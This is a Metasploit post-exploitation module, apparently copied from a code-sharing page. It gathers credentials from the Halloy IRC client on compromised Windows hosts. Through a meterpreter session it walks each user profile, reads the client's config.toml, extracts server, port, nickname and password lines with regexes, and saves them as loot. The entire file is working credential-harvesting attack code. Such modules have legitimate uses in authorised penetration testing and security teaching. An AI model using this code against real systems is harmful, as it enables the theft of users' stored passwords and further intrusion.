Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
# This module requires Metasploit: https://metasploit.com/download
2
# Current source: https://github.com/rapid7/metasploit-framework
3
##
4

5
class MetasploitModule < Msf::Post
6
  # this associative array defines the artifacts known to PackRat
7
  include Msf::Post::File
8
  include Msf::Post::Windows::UserProfiles
9
  include Msf::Post::Windows::Packrat
10
  ARTIFACTS =
11
    {
12
      application: 'Halloy IRC',
13
      app_category: 'IRC',
14
      gatherable_artifacts: [
15
        {
16
          filetypes: 'logins',
17
          path: 'AppData',
18
          dir: 'halloy',
19
          artifact_file_name: 'config.toml',
20
          description: 'Saved Bookmarks',
21
          credential_type: 'text',
22
          regex_search: [
23
            {
24
              extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
25
              extraction_type: 'credentials',
26
              regex: [
27
                '(?i-mx:server =.*)',
28
                '(?i-mx:port =.*)',
29
                '(?i-mx:nickname =.*)',
30
                '(?i-mx:password =.*)'
31
              ]
32
            }
33
          ]
34
        }
35
      ]
36
    }.freeze
37

38
  def initialize(info = {})
39
    super(
40
      update_info(
41
        info,
42
        'Name' => 'Halloy IRC credential gatherer',
43
        'Description' => %q{
44
          PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
45
          PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
46
          Further details can be found in the module documentation.
47
          This is a module that searches for credentials stored on Halloy IRC Client in a windows remote host.
48
        },
49
        'License' => MSF_LICENSE,
50
        'Author' => [
51
          'Jacob Tierney',
52
          'Kazuyoshi Maruta',
53
          'Daniel Hallsworth',
54
          'Barwar Salim M',
55
          'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
56
        ],
57
        'Platform' => ['win'],
58
        'SessionTypes' => ['meterpreter'],
59
        'Notes' => {
60
          'Stability' => [CRASH_SAFE],
61
          'Reliability' => [],
62
          'SideEffects' => []
63
        }
64
      )
65
    )
66

67
    register_options(
68
      [
69
        OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
70
        OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
71
        # enumerates the options based on the artifacts that are defined below
72
        OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
73
      ]
74
    )
75
  end
76

77
  def run
78
    print_status('Filtering based on these selections:  ')
79
    print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
80
    print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
81
    print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
82

83
    # used to grab files for each user on the remote host
84
    grab_user_profiles.each do |userprofile|
85
      run_packrat(userprofile, ARTIFACTS)
86
    end
87

88
    print_status 'PackRat credential sweep Completed'
89
  end
90
end
91

92